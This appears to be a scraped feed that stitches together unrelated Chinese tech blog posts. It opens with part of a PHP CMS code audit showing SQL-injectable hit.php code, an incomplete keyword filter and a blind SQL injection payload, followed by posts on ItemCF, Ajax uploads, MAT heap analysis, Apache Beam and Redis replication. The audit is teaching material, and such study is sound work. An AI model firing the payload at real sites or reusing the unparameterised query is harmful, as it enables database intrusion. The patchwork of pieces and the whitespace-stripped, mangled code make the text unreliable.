这里大概看一眼就能明白,p参数可控,且没有进行过滤,所以可以直接删除任意文件,这种任意文件删除一般可以删除 install.lock从而导致重装漏洞,这里这个博客系统是安装完成后自动把安装页面直接删除了,所以暂不存在该漏洞

SQL注入

问题出在 hit.php,关键代码如下

<?php header("Content-type:text/html; charset=utf-8"); require("cmsconfig.php"); require("class/c_other.php"); sqlguolv();  $g=$_GET['g'];   if ($g=='arthit'){ $id=$_GET['id'];     if($id!=''){  $tab=$tabhead."arts"; mysql_select_db($tab); $sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id); $sql = mysql_query("select * from ".$tab." where id=".$id); $row=mysql_fetch_array($sql);     $str=$row['hit'];     echo 'document.write('.$str.');';     } }  ?>

看到这里可能很多同学认为id是我们可控并且没有进行任何过滤的,其实作者这里是做了过滤,关键点在这里

这里引用了c_other.php的sqlguolv函数,我们跟进去看一下关键代码

Function sqlguolv() {         header("Content-type:text/html; charset=utf-8"); if (preg_match('/select|insert|update|delete|/'|//*|/*|/././/|/.//|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|/'|//*|/*|/././/|/.//|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法访问!";    exit;} }

这里是把 $_SERVER['QUERY_STRING'])与关键字做了比较,起到了一定的过滤效果,然而过滤并不完全,我们依然可以利用盲注绕过绕过很简单,这里就只贴一个payload了

hit.php?g=arthit&id=1 and ascii(mid((database()),1,1))>10

脚本懒得写了

做个总结吧,代码审计还是那2种老套路,第一是通读代码,这样的好处是可以挖掘一些逻辑漏洞,比如条件竞争之类的,第二是直接全局搜索,找关键函数,看变量是否可控,是否存在过滤balabala的,对于初学者来说个人认为最快的方法是找一篇老旧的CMS自己尝试审计一下,一般来说是前台(浏览器)找到php,后台对应找php源码看看,主抓一些危险函数及waf函数看看有没有绕过可能。

*本文作者:pupiles,转载请注明来自 FreeBuf.COM

使用Flume+Kafka+SparkStreaming进行实时日志分析 - Trigl的博客 - CSDN博客

[推荐算法]ItemCF,基于物品的协同过滤算法 - 在路上的学习者 - CSDN博客

$
0
0

ItemCF:ItemCollaborationFilter,基于物品的协同过滤



算法核心思想:给用户推荐那些和他们之前喜欢的物品相似的物品。

比如,用户A之前买过《数据挖掘导论》,该算法会根据此行为给你推荐《机器学习》,但是ItemCF算法并不利用物品的内容属性计算物品之间的相似度,它主要通过分析用户的行为记录计算物品之间的相似度。

==>该算法认为,物品A和物品B具有很大的相似度是因为喜欢物品A的用户大都也喜欢物品B。



基于物品的协同过滤算法主要分为两步:

一、计算物品之间的相似度;

二、根据物品的相似度和用户的历史行为给用户生成推荐列表;



下面分别来看这两步如何计算:

一、计算物品之间的相似度:

我们使用下面的公式定义物品的相似度:



其中,|N(i)|是喜欢物品i的用户数,|N(j)|是喜欢物品j的用户数,|N(i)&N(j)|是同时喜欢物品i和物品j的用户数。

从上面的定义看出,在协同过滤中两个物品产生相似度是因为它们共同被很多用户喜欢,两个物品相似度越高,说明这两个物品共同被很多人喜欢。

这里面蕴含着一个假设:就是假设每个用户的兴趣都局限在某几个方面,因此如果两个物品属于一个用户的兴趣列表,那么这两个物品可能就属于有限的几个领域,而如果两个物品属于很多用户的兴趣列表,那么它们就可能属于同一个领域,因而有很大的相似度。



举例,用户A对物品a、b、d有过行为,用户B对物品b、c、e有过行为,等等;



依此构建用户——物品倒排表:物品a被用户A、E有过行为,等等;



建立物品相似度矩阵C:





其中,C[i][j]记录了同时喜欢物品i和物品j的用户数,这样我们就可以得到物品之间的相似度矩阵W。



在得到物品之间的相似度后,进入第二步。

二、根据物品的相似度和用户的历史行为给用户生成推荐列表:

ItemCF通过如下公式计算用户u对一个物品j的兴趣:



其中,Puj表示用户u对物品j的兴趣,N(u)表示用户喜欢的物品集合(i是该用户喜欢的某一个物品),S(i,k)表示和物品i最相似的K个物品集合(j是这个集合中的某一个物品),Wji表示物品j和物品i的相似度,Rui表示用户u对物品i的兴趣(这里简化Rui都等于1)。

该公式的含义是:和用户历史上感兴趣的物品越相似的物品,越有可能在用户的推荐列表中获得比较高的排名。



下面是一个书中的例子,帮助理解ItemCF过程:





至此,基础的ItemCF算法小结完毕。





下面是书中提到的几个优化方法:

(1)、用户活跃度对物品相似度的影响

即认为活跃用户对物品相似度的贡献应该小于不活跃的用户,所以增加一个IUF(Inverse User Frequence)参数来修正物品相似度的计算公式:



用这种相似度计算的ItemCF被记为ItemCF-IUF。

ItemCF-IUF在准确率和召回率两个指标上和ItemCF相近,但它明显提高了推荐结果的覆盖率,降低了推荐结果的流行度,从这个意义上说,ItemCF-IUF确实改进了ItemCF的综合性能。



(2)、物品相似度的归一化

Karypis在研究中发现如果将ItemCF的相似度矩阵按最大值归一化,可以提高推荐的准确度。其研究表明,如果已经得到了物品相似度矩阵w,那么可用如下公式得到归一化之后的相似度矩阵w':



最终结果表明,归一化的好处不仅仅在于增加推荐的准确度,它还可以提高推荐的覆盖率和多样性。

用这种相似度计算的ItemCF被记为ItemCF-Norm。







以上内容参考自《推荐系统实践》



Ajax上传图片以及上传之前先预览 - 江南一点雨的专栏 - CSDN博客

$
0
0

手头上有几个小项目用到了easyUI,一开始决定使用easyUI就注定了项目整体上前后端分离,基本上所有的请求都采用Ajax来完成。在文件上传的时候用到了Ajax上传文件,以及图片在上传之前的预览效果,解决了这两个小问题,和小伙伴们分享下。


上传之前的预览

方式一

先来说说图片上传之前的预览问题。这里主要采用了HTML5中的FileReader对象来实现,关于FileReader对象,如果小伙伴们不了解,可以查看这篇博客HTML5学习之FileReader接口。我们来看看实现方式:

<!DOCTYPE html><htmllang="en"><head><metacharset="UTF-8"><title>Ajax上传文件</title><scriptsrc="jquery-3.2.1.js"></script></head><body>用户名:<inputid="username"type="text"><br>用户图像:<inputid="userface"type="file"onchange="preview(this)"><br><divid="preview"></div><inputtype="button"id="btnClick"value="上传"><script>$("#btnClick").click(function(){varformData =newFormData();
        formData.append("username", $("#username").val());
        formData.append("file", $("#userface")[0].files[0]);
        $.ajax({
            url:'/fileupload',
            type:'post',
            data: formData,
            processData:false,
            contentType:false,
            success:function(msg){alert(msg);}});});functionpreview(file){varprevDiv = document.getElementById('preview');if(file.files && file.files[0]){varreader =newFileReader();
            reader.onload =function(evt){prevDiv.innerHTML ='<img src="'+ evt.target.result +'" />';}
            reader.readAsDataURL(file.files[0]);}else{
            prevDiv.innerHTML ='<div class="img" style="filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod=scale,src=\''+ file.value +'\'"></div>';}}</script></body></html>

这里对于支持FileReader的浏览器直接使用FileReader来实现,不支持FileReader的浏览器则采用微软的滤镜来实现(注意给图片上传的input标签设置onchange函数)。

实现效果如下:

这里写图片描述

方式二

除了这种方式之外我们也可以采用网上现成的一个jQuery实现的方式。这里主要参考了这里

不过由于原文年代久远,里边使用的$.browser.msie从jQuery1.9就被移除掉了,所以如果我们想使用这个得做一点额外的处理,我修改后的uploadPreview.js文件内容如下:

jQuery.browser={};(function(){jQuery.browser.msie=false; jQuery.browser.version=0;if(navigator.userAgent.match(/MSIE ([0-9]+)./)){ jQuery.browser.msie=true;jQuery.browser.version=RegExp.$1;}})();
jQuery.fn.extend({
    uploadPreview:function(opts){var_self =this,
            _this = $(this);
        opts = jQuery.extend({Img:"ImgPr",Width:100,Height:100,ImgType:["gif","jpeg","jpg","bmp","png"],Callback:function(){}}, opts ||{});
        _self.getObjectURL =function(file){varurl =null;if(window.createObjectURL !=undefined){
                url = window.createObjectURL(file)}elseif(window.URL !=undefined){
                url = window.URL.createObjectURL(file)}elseif(window.webkitURL !=undefined){
                url = window.webkitURL.createObjectURL(file)}returnurl};
        _this.change(function(){if(this.value){if(!RegExp("\.("+ opts.ImgType.join("|")+")$","i").test(this.value.toLowerCase())){
                    alert("选择文件错误,图片类型必须是"+ opts.ImgType.join(",")+"中的一种");this.value ="";returnfalse}if($.browser.msie){try{
                        $("#"+ opts.Img).attr('src', _self.getObjectURL(this.files[0]))}catch(e){varsrc ="";varobj = $("#"+ opts.Img);vardiv = obj.parent("div")[0];
                        _self.select();if(top !=self){
                            window.parent.document.body.focus()}else{
                            _self.blur()}
                        src = document.selection.createRange().text;
                        document.selection.empty();
                        obj.hide();
                        obj.parent("div").css({'filter':'progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod=scale)','width': opts.Width+'px','height': opts.Height+'px'});
                        div.filters.item("DXImageTransform.Microsoft.AlphaImageLoader").src = src}}else{
                    $("#"+ opts.Img).attr('src', _self.getObjectURL(this.files[0]))}
                opts.Callback()}})}});

然后在我们的html文件中引入这个js文件即可:

<!DOCTYPE html><htmllang="en"><head><metacharset="UTF-8"><title>Ajax上传文件</title><scriptsrc="jquery-3.2.1.js"></script><scriptsrc="uploadPreview.js"></script></head><body>用户名:<inputid="username"type="text"><br>用户图像:<inputid="userface"type="file"onchange="preview(this)"><br><div><imgid="ImgPr"width="200"height="200"/></div><inputtype="button"id="btnClick"value="上传"><script>$("#btnClick").click(function(){varformData =newFormData();
        formData.append("username", $("#username").val());
        formData.append("file", $("#userface")[0].files[0]);
        $.ajax({
            url:'/fileupload',
            type:'post',
            data: formData,
            processData:false,
            contentType:false,
            success:function(msg){alert(msg);}});});
    $("#userface").uploadPreview({Img:"ImgPr",Width:120,Height:120});</script></body></html>

这里有如下几点需要注意:

1.HTML页面中要引入我们自定义的uploadPreview.js文件

2.预先定义好要显示预览图片的img标签,该标签要有id。

3.查找到img标签然后调用uploadPreview函数

执行效果如下:

这里写图片描述

Ajax上传图片文件

Ajax上传图片文件就简单了,没有那么多方案,核心代码如下:

varformData =newFormData();
        formData.append("username", $("#username").val());
        formData.append("file", $("#userface")[0].files[0]);
        $.ajax({
            url:'/fileupload',
            type:'post',
            data: formData,
            processData:false,
            contentType:false,
            success:function(msg){alert(msg);}});

核心就是定义一个FormData对象,将要上传的数据包装到这个对象中去。然后在ajax上传数据的时候设置data属性就为formdata,processData属性设置为false,表示jQuery不要去处理发送的数据,然后设置contentType属性的值为false,表示不要设置请求头的contentType属性。OK,主要就是设置这三个,设置成功之后,其他的处理就和常规的ajax用法一致了。

后台的处理代码大家可以在文末的案例中下载,这里我就不展示不出来了。

OK,以上就是我们对Ajax上传图片以及图片预览的一个简介,有问题的小伙伴欢迎留言讨论。

案例下载地址http://download.csdn.net/download/u012702547/9950813

由于CSDN下载现在必须要积分,不得已设置了1分,如果小伙伴没有积分,文末留言我发给你。

更多JavaEE资料请关注公众号:

这里写图片描述

以上。

Java程序内存分析:使用mat工具分析内存占用 - 王爵的技术博客

$
0
0

    MAT 不是一个万能工具,它并不能处理所有类型的堆存储文件。但是比较主流的厂家和格式,例如 Sun, HP, SAP 所采用的 HPROF 二进制堆存储文件,以及 IBM 的 PHD 堆存储文件等都能被很好的解析。下面来看看要怎么做呢,也许对你有用。官方文档:http://help.eclipse.org/luna/index.jsp?topic=/org.eclipse.mat.ui.help/welcome.html

造成OutOfMemoryError原因一般有2种:

1、内存泄露,对象已经死了,无法通过垃圾收集器进行自动回收,通过找出泄露的代码位置和原因,才好确定解决方案;

2、内存溢出,内存中的对象都还必须存活着,这说明Java堆分配空间不足,检查堆设置大小(-Xmx与-Xms),检查代码是否存在对象生命周期太长、持有状态时间过长的情况。



1. 用jmap生成堆信息

    这样在E盘的jmap文件夹里会有一个map.bin的堆信息文件 

2. 将堆信息导入到mat中分析   



3. 生成分析报告

    mat可以为我们生成多个报告:

        

        



    下面来看看生成的这些数据对我们有什么帮助

    

    从上图可以看到它的大部分功能,在饼图上,你会发现转储的大小和数量的类,对象和类加载器。

正确的下面,饼图给出了一个印象最大的对象转储。移动你的鼠标一片看到对象中的对象的细节检查在左边。下面的Action标签中:

    • Histogram可以列出内存中的对象,对象的个数以及大小。

    • Dominator Tree可以列出那个线程,以及线程下面的那些对象占用的空间。

    • Top consumers通过图形列出最大的object。

    • Leak Suspects通过MA自动分析泄漏的原因。

    Histogram

        

    • Class Name : 类名称,java类名

    • Objects : 类的对象的数量,这个对象被创建了多少个

    • Shallow Heap :一个对象内存的消耗大小,不包含对其他对象的引用

    • Retained Heap :是shallow Heap的总和,也就是该对象被GC之后所能回收到内存的总和


    一般来说,Shallow Heap堆中的对象是的大小和保留内存大小相同的对象是堆内存的数量时,将释放对象被垃圾收集。

    保留设置一组主要的对象,例如一个特定类的所有对象,或所有对象的一个特定的类装入器装入的类或者只是一群任意对象,是释放的组对象如果所有对象的主要设置变得难以接近的。保留设置包括这些对象以及所有其他对象只能通过这些对象。保留大小是总堆大小中包含的所有对象的保留。摘自eclipse


    关于的详细讲解,建议大家查看Shallow heap & Retained heap,这是个很重要的概念。

    这儿借助工具提供的regex正则搜索一下我们自己的类,排序后看看哪些相对是占用比较大的。

    左边可以看到类的详细使用,比如所属包,父类是谁,所属的类加载器,内存地址,占用大小和回收情况等

    这儿有个工具可以根据自己的需求分组查找,默认根据class分组,类似我们sql里的group by了~~

    这里可以看到上面3个选项,分别生成overview、leak suspects、top components数据,但是这儿生成的不是图表,如果要看图表在(Overview)中的Action标签里点击查看。

    这个是Overview中的 Heap Dump Overview视图,从工具栏中点开,这是一个全局的内存占用信息

    Used heap dump79.7 MB
    Number of objects1,535,626
    Number of classes8,459
    Number of class loaders74
    Number of GC roots2,722
    Formathprof
    JVM version

    Time格林尼治标准时间+0800上午9时20分37秒
    Date2014-7-2
    Identifier size32-bit
    File pathE:\jmap\map.bin
    File length108,102,005
    • Total: 12 entries



    然后可以点开SystemProperties和Thread Overview进行查看,我这里就不贴了内容比较多。

    Dominator Tree

    我们可以看到ibatis占了较多内存

    Top consumers

    这张图展示的是占用内存比较多的对象的分布,下面是具体的一些类和占用。

    按等级分布的类使用情况,其实也就是按使用次数查看,java.lang.Class被排在第一

    还有一张图是我们比较关心的,那就是按包名看占用,根据包我们知道哪些公共用的到jar或自己的包占用

    这样就可以看到包和包中哪些类的占用比较高。

    Leak Suspects

    这份报告,看到该图深色区域被怀疑有内存泄漏,可以发现整个heap只有79.7M内存,深色区域就占了62%。所以,MAT通过简单的报告就说明了项目是有可疑代码的,具体点开详情来找到类

    点击鼠标,在List Objects-> with outgoing references下可以查看该类都引用了什么对象,由此查看是否因为其他对象导致的内存问题。

    下面继续查看pool的gc ROOT

    如下图所示的上下文菜单中选择 Path To GC Roots -> exclude weak references, 过滤掉弱引用,因为在这里弱引用不是引起问题的关键。

    进入查看即可,我这儿的代码没有问题,就不用贴了。


    The classloader/component "org.apache.catalina.loader.WebappClassLoader @ 0xa34cde8" occupies 19,052,864 (22.80%) bytes. The memory is accumulated in one instance of "java.util.HashMap$Entry[]" loaded by "<system class loader>".



    Keywords

    java.util.HashMap$Entry[]

    org.apache.catalina.loader.WebappClassLoader @ 0xa34cde8


    这段话是在工具中提示的,他告诉我们WebappClassLoader占了19,052,864字节的容量,这是tomcat的类加载器,JDK自带的系统类加载器中占用比较多的是HashMap。这个其实比较正常,大家经常用map作为存储容器。

    除了在上一页看到的描述外,还有Shortest Paths To the Accumulation Point和Accumulated Objects部分,这里说明了从GC root到聚集点的最短路径,以及完整的reference chain。观察Accumulated Objects部分,java.util.HashMap的retained heap(size)最大,所以明显类实例都聚集在HashMap中了。

    来看看Accumulated Objects by Class区域,这里能找到被聚集的对象实例的类名。java.util.HashMap类上头条了,被实例化了5573次,从这儿看出这个程序不存在什么问题,因为这个数字是比较正常的,但是当出问题的时候我们都会看到比较大的自定义类会在前面,而且占用是相当高。

    当然,mat这个工具还有很多的用法,这里把我了解的分享给大家,不管如何,最终我们需要得出系统的内存占用,然后对其进行代码或架构,服务器的优化措施!

    参考文献:

    http://www.eclipse.org/mat/about/screenshots.php

    http://www.ibm.com/developerworks/cn/opensource/os-cn-ecl-ma/


    如何为技术博客设计一个推荐系统(中):基于 Google 搜索的半自动推荐

    $
    0
    0

    与统计学相比,基于内容来向用户推荐相似的内容,往往更容易获得。对于推荐来说,则有两种方式:

    • 手动推荐
    • 自动推荐

    手动推荐。在技术领域,作者通常比大多数读者更专业,他们往往知道什么是读者需要的。如,你看了一个 React 相关的文章,你可能会需要 Redux 相关的内容。

    自动推荐。需要一些前提条件:融合现有系统的数据信息,获取一些用户的信息。随后,再计算出相关的内容,最后返回给读者。

    而在这篇文章里,我们将介绍 :

    1. 标签生成的方式
    2. 基于手动标签推荐
    3. 半自动的标签推荐
    4. 全自动的基于内容推荐

    标签生成

    文章与我们平时使用的物品,有很大的不同之处。如手机,拥有固定的 规格参数,价格、屏幕尺寸、运行内存(RAM)、机身内存、CPU、后置摄像头像素、前置摄像头像素等等,我们可以轻易地通过这些特征,了解用户大概需要什么东西。如果用户浏览的是 2880 的 某 pro 7 手机,那么某米 6 的手机可能更适合该用户。

    而文章是一种 非结构化的数据,除了作者、写作日期这一类的信息,我们很难直接描述其特性,也就难以判定文章之间是否是相似的。因此,我们就需要从文章中抽取出关键词,或称为标签,从而判断出用户喜欢的是某一种类别。

    对于使用标签来向用户推荐产品的应用

    原文: 如何为技术博客设计一个推荐系统(中):基于 Google 搜索的半自动推荐
    更多精彩内容,欢迎搜索并关注我的微信公众号: Phodal

    Apache Beam 快速入门(Python 版) | 张吉的博客

    $
    0
    0

    Apache Beam是一种大数据处理标准,由谷歌于 2016 年创建。它提供了一套统一的 DSL 用以处理离线和实时数据,并能在目前主流的大数据处理平台上使用,包括 Spark、Flink、以及谷歌自身的商业套件 Dataflow。Beam 的数据模型基于过去的几项研究成果:FlumeJavaMillwheel,适用场景包括 ETL、统计分析、实时计算等。目前,Beam 提供了两种语言的 SDK:Java、Python。本文将讲述如何使用 Python 编写 Beam 应用程序。

    Apache Beam Pipeline

    安装 Apache Beam

    Apache Beam Python SDK 必须使用 Python 2.7.x 版本,你可以安装pyenv来管理不同版本的 Python,或者直接从源代码编译安装(需要支持 SSL)。之后,你便可以在 Python 虚拟环境中安装 Beam SDK 了:

    1
    2
    3
    $ virtualenv venv --distribute
    $ source venv/bin/activate
    (venv) $ pip install apache-beam

    Wordcount 示例

    Wordcount 是大数据领域的 Hello World,我们来看如何使用 Beam 实现:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    from__future__importprint_function
    importapache_beamasbeam
    fromapache_beam.options.pipeline_optionsimportPipelineOptions
    withbeam.Pipeline(options=PipelineOptions())asp:
    lines = p |'Create'>> beam.Create(['cat dog','snake cat','dog'])
    counts = (
    lines
    |'Split'>> (beam.FlatMap(lambdax: x.split(' '))
    .with_output_types(unicode))
    |'PairWithOne'>> beam.Map(lambdax: (x,1))
    |'GroupAndSum'>> beam.CombinePerKey(sum)
    )
    counts |'Print'>> beam.ParDo(lambda(w, c): print('%s: %s'% (w, c)))

    运行脚本,我们便可得到每个单词出现的次数:

    1
    2
    3
    4
    (venv) $ python wordcount.py
    cat: 2
    snake: 1
    dog: 2

    Apache Beam 有三个重要的基本概念:Pipeline、PCollection、以及 Transform。

    • Pipeline(管道)用以构建数据集和处理过程的 DAG(有向无环图)。我们可以将它看成 MapReduce 中的Job或是 Storm 的Topology
    • PCollection是一种数据结构,我们可以对其进行各类转换操作,如解析、过滤、聚合等。它和 Spark 中的RDD概念类似。
    • Transform(转换)则用于编写业务逻辑。通过它,我们可以将一个 PCollection 转换成另一个 PCollection。Beam 提供了许多内置的转换函数,我们将在下文讨论。

    在本例中,PipelinePipelineOptions用来创建一个管道。通过with关键字,上下文管理器会自动调用Pipeline.runwait_until_finish方法。

    1
    [Output PCollection] = [Input PCollection] | [Label] >> [Transform]

    |是 Beam 引入的新操作符,用来添加一个转换。每次转换都可以定义一个唯一的标签,默认由 Beam 自动生成。转换能够串联,我们可以构建出不同形态的转换流程,它们在运行时会表示为一个 DAG。

    beam.Create用来从内存数据创建出一个 PCollection,主要用于测试和演示。Beam 提供了多种内置的输入源(Source)和输出目标(Sink),可以接收和写入有界(Bounded)或无界(Unbounded)的数据,并且能进行自定义。

    beam.Map是一种一对一的转换,本例中我们将一个个单词转换成形如(word, 1)的元组。beam.FlatMap则是MapFlatten的结合体,通过它,我们将包含多个单词的数组合并成一个一维的数组。

    CombinePerKey的输入源是一系列的二元组(2-element tuple)。这个操作会将元素的第一个元素作为键进行分组,并将相同键的值(第二个元素)组成一个列表。最后,我们使用beam.ParDo输出统计结果。这个转换函数比较底层,我们会在下文详述。

    输入与输出

    目前,Beam Python SDK 对输入输出的支持十分有限。下表列出了现阶段支持的数据源(资料来源):

    语言文件系统消息队列数据库
    JavaHDFS

    TextIO

    XML
    AMQP

    Kafka

    JMS
    Hive

    Solr

    JDBC
    Pythontextio

    avroio

    tfrecordio
    -Google Big Query

    Google Cloud Datastore

    这段代码演示了如何使用textio对文本文件进行读写:

    1
    2
    lines = p |'Read'>> beam.io.ReadFromText('/path/to/input-*.csv')
    lines |'Write'>> beam.io.WriteToText('/path/to/output', file_name_suffix='.csv')

    通过使用通配符,textio可以读取多个文件。我们还可以从不同的数据源中读取文件,并用Flatten方法将多个PCollection合并成一个。输出文件默认也会是多个,因为 Beam Pipeline 是并发执行的,不同的进程会写入独立的文件。

    转换函数

    Beam 中提供了基础和上层的转换函数。通常我们更偏向于使用上层函数,这样就可以将精力聚焦在实现业务逻辑上。下表列出了常用的上层转换函数:

    转换函数功能含义
    Create(value)基于内存中的集合数据生成一个 PCollection。
    Filter(fn)使用fn函数过滤 PCollection 中的元素。
    Map(fn)使用fn函数做一对一的转换处理。
    FlatMap(fn)功能和Map类似,但是fn需要返回一个集合,里面包含零个或多个元素,最终FlatMap会将这些集合合并成一个 PCollection。
    Flatten()合并多个 PCollection。
    Partition(fn)将一个 PCollection 切分成多个分区。fn可以是PartitionFn或一个普通函数,能够接受两个参数:elementnum_partitions
    GroupByKey()输入源必须是使用二元组表示的键值对,该方法会按键进行分组,并返回一个(key, iter<value>)的序列。
    CoGroupByKey()对多个二元组 PCollection 按相同键进行合并,如输入的是(k, v)(k, w),则输出(k, (iter<v>, iter<w>))
    RemoveDuplicates()对 PCollection 的元素进行去重。
    CombinePerKey(fn)功能和GroupByKey类似,但会进一步使用fn对值列表进行合并。fn可以是一个CombineFn,或是一个普通函数,接收序列并返回结果,如summax函数等。
    CombineGlobally(fn)使用fn将整个 PCollection 合并计算成单个值。

    Callable, DoFn, ParDo

    可以看到,多数转换函数都会接收另一个函数(Callable)做为参数。在 Python 中,Callable可以是一个函数、类方法、Lambda 表达式、或是任何包含__call__方法的对象实例。Beam 会将这些函数包装成一个DoFn类,所有转换函数最终都会调用最基础的ParDo函数,并将DoFn传递给它。

    我们可以尝试将lambda x: x.split(' ')这个表达式转换成DoFn类:

    1
    2
    3
    4
    5
    classSplitFn(beam.DoFn):
    defprocess(self, element):
    returnelement.split(' ')
    lines | beam.ParDo(SplitFn())

    ParDo转换和FlatMap的功能类似,只是它的fn参数必须是一个DoFn。除了使用return,我们还可以用yield语句来返回结果:

    1
    2
    3
    4
    classSplitAndPairWithOneFn(beam.DoFn):
    defprocess(self, element):
    forwordinelement.split(' '):
    yield(word,1)

    合并函数

    合并函数(CombineFn)用来将集合数据合并计算成单个值。我们既可以对整个 PCollection 做合并(CombineGlobally),也可以计算每个键的合并结果(CombinePerKey)。Beam 会将普通函数(Callable)包装成CombineFn,这些函数需要接收一个集合,并返回单个结果。需要注意的是,Beam 会将计算过程分发到多台服务器上,合并函数会被多次调用来计算中间结果,因此需要满足交换律结合律summinmax是符合这样的要求的。

    Beam 提供了许多内置的合并函数,如计数、求平均值、排序等。以计数为例,下面两种写法都可以用来统计整个 PCollection 中元素的个数:

    1
    2
    lines | beam.combiners.Count.Globally()
    lines | beam.CombineGlobally(beam.combiners.CountCombineFn())

    其他合并函数可以参考 Python SDK 的官方文档(链接)。我们也可以自行实现合并函数,只需继承CombineFn,并实现四个方法。我们以内置的Mean平均值合并函数的源码为例:

    apache_beam/transforms/combiners.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    classMeanCombineFn(core.CombineFn):
    defcreate_accumulator(self):
    """创建一个“本地”的中间结果,记录合计值和记录数。"""
    return(0,0)
    defadd_input(self,(sum_, count), element):
    """处理新接收到的值。"""
    returnsum_ + element, count +1
    defmerge_accumulators(self, accumulators):
    """合并多个中间结果。"""
    sums, counts = zip(*accumulators)
    returnsum(sums), sum(counts)
    defextract_output(self,(sum_, count)):
    """计算平均值。"""
    ifcount ==0:
    returnfloat('NaN')
    returnsum_ / float(count)

    复合转换函数

    我们简单看一下上文中使用到的beam.combiners.Count.Globally的源码(链接),它继承了PTransform类,并在expand方法中对 PCollection 应用了转换函数。这会形成一个小型的有向无环图,并合并到最终的 DAG 中。我们称其为复合转换函数,主要用于将相关的转换逻辑整合起来,便于理解和管理。

    1
    2
    3
    4
    classCount(object):
    classGlobally(ptransform.PTransform):
    defexpand(self, pcoll):
    returnpcoll | core.CombineGlobally(CountCombineFn())

    更多内置的复合转换函数如下表所示:

    复合转换函数功能含义
    Count.Globally()计算元素总数。
    Count.PerKey()计算每个键的元素数。
    Count.PerElement()计算每个元素出现的次数,类似 Wordcount。
    Mean.Globally()计算所有元素的平均值。
    Mean.PerKey()计算每个键的元素平均值。
    Top.Of(n, reverse)获取 PCollection 中最大或最小的n个元素,另有 Top.Largest(n), Top.Smallest(n).
    Top.PerKey(n, reverse)获取每个键的值列表中最大或最小的n个元素,另有 Top.LargestPerKey(n), Top.SmallestPerKey(n)
    Sample.FixedSizeGlobally(n)随机获取n个元素。
    Sample.FixedSizePerKey(n)随机获取每个键下的n个元素。
    ToList()将 PCollection 合并成一个列表。
    ToDict()将 PCollection 合并成一个哈希表,输入数据需要是二元组集合。

    时间窗口

    在处理事件数据时,如访问日志、用户点击流,每条数据都会有一个事件时间属性,而通常我们会按事件时间对数据进行分组统计,这些分组即时间窗口。在 Beam 中,我们可以定义不同的时间窗口类型,能够支持有界和无界数据。由于 Python SDK 暂时只支持有界数据,我们就以一个离线访问日志文件作为输入源,统计每个时间窗口的记录条数。对于无界数据,概念和处理流程也是类似的。

    1
    2
    3
    4
    5
    64.242.88.10 - - [07/Mar/2004:16:05:49 -0800] "GET /edit HTTP/1.1" 401 12846
    64.242.88.10 - - [07/Mar/2004:16:06:51 -0800] "GET /rdiff HTTP/1.1" 200 4523
    64.242.88.10 - - [07/Mar/2004:16:10:02 -0800] "GET /hsdivision HTTP/1.1" 200 6291
    64.242.88.10 - - [07/Mar/2004:16:11:58 -0800] "GET /view HTTP/1.1" 200 7352
    64.242.88.10 - - [07/Mar/2004:16:20:55 -0800] "GET /view HTTP/1.1" 200 5253

    logmining.py的完整源码可以在 GitHub(链接)中找到:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    lines = p |'Create'>> beam.io.ReadFromText('access.log')
    windowed_counts = (
    lines
    |'Timestamp'>> beam.Map(lambdax: beam.window.TimestampedValue(
    x, extract_timestamp(x)))
    |'Window'>> beam.WindowInto(beam.window.SlidingWindows(600,300))
    |'Count'>> (beam.CombineGlobally(beam.combiners.CountCombineFn())
    .without_defaults())
    )
    windowed_counts = windowed_counts | beam.ParDo(PrintWindowFn())

    首先,我们需要为每一条记录附加上时间戳。自定义函数extract_timestamp用以将日志中的时间[07/Mar/2004:16:05:49 -0800]转换成 Unix 时间戳,TimestampedValue则会将这个时间戳和对应记录关联起来。之后,我们定义了一个大小为10 分钟,间隔为5 分钟的滑动窗口(Sliding Window)。从零点开始,第一个窗口的范围是[00:00, 00:10),第二个窗口的范围是[00:05, 00:15),以此类推。所有窗口的长度都是10 分钟,相邻两个窗口之间相隔5 分钟。滑动窗口和固定窗口(Fixed Window)不同,因为相同的元素可能会落入不同的窗口中参与计算。最后,我们使用一个合并函数计算每个窗口中的记录数。通过这个方法得到前五条记录的计算结果为:

    1
    2
    3
    4
    5
    [2004-03-08T00:00:00Z, 2004-03-08T00:10:00Z) @ 2
    [2004-03-08T00:05:00Z, 2004-03-08T00:15:00Z) @ 4
    [2004-03-08T00:10:00Z, 2004-03-08T00:20:00Z) @ 2
    [2004-03-08T00:15:00Z, 2004-03-08T00:25:00Z) @ 1
    [2004-03-08T00:20:00Z, 2004-03-08T00:30:00Z) @ 1

    在无界数据的实时计算过程中,事件数据的接收顺序是不固定的,因此需要利用 Beam 的水位线和触发器机制来处理延迟数据(Late Data)。这个话题比较复杂,而且 Python SDK 尚未支持这些特性,感兴趣的读者可以参考 Stream101102这两篇文章。

    Pipeline 运行时

    上文中提到,Apache Beam 是一个数据处理标准,只提供了 SDK 和 API,因而必须使用 Spark、Flink 这样的计算引擎来运行它。下表列出了当前支持 Beam Model 的引擎,以及他们的兼容程度:

    Beam 运行时能力矩阵

    图片来源

    参考资料

    spring集成redis——主从配置以及哨兵监控 - 大园子 - 博客园

    $
    0
    0

    Redis主从模式配置:

    Redis的主从模式配置是非常简单的,首先我们需要有2个可运行的redis环境:

    master node : 192.168.56.101 8887

    slave node:     192.168.56.102 7777

     

    我们只要在slave 节点的配置文件中,找到 slaveof开头

    然后修改为:(master的ip与端口)

    slaveof192.168.56.1018777

    这样就可以了,下面我们来验证一下,首先启用master和slave的redis服务,然后登录redis-cli,输入info

    然后看下192.168.56.101:8887的信息,红色的地方,表示当前节点为master节点,有几个从节点和从节点的信息

    192.168.56.101:8887>info
    # Replicationrole:master
    connected_slaves:1
    slave0:ip=192.168.56.102,port=7777,state=online,offset=568,lag=1master_repl_offset:568repl_backlog_active:1repl_backlog_size:1048576repl_backlog_first_byte_offset:2repl_backlog_histlen:567

    在看192.168.56.102:7777的信息

    192.168.56.102:7777> info
    # Replicationrole:slave
    master_host:192.168.56.101
    master_port:8887
    master_link_status:up
    master_last_io_seconds_ago:10
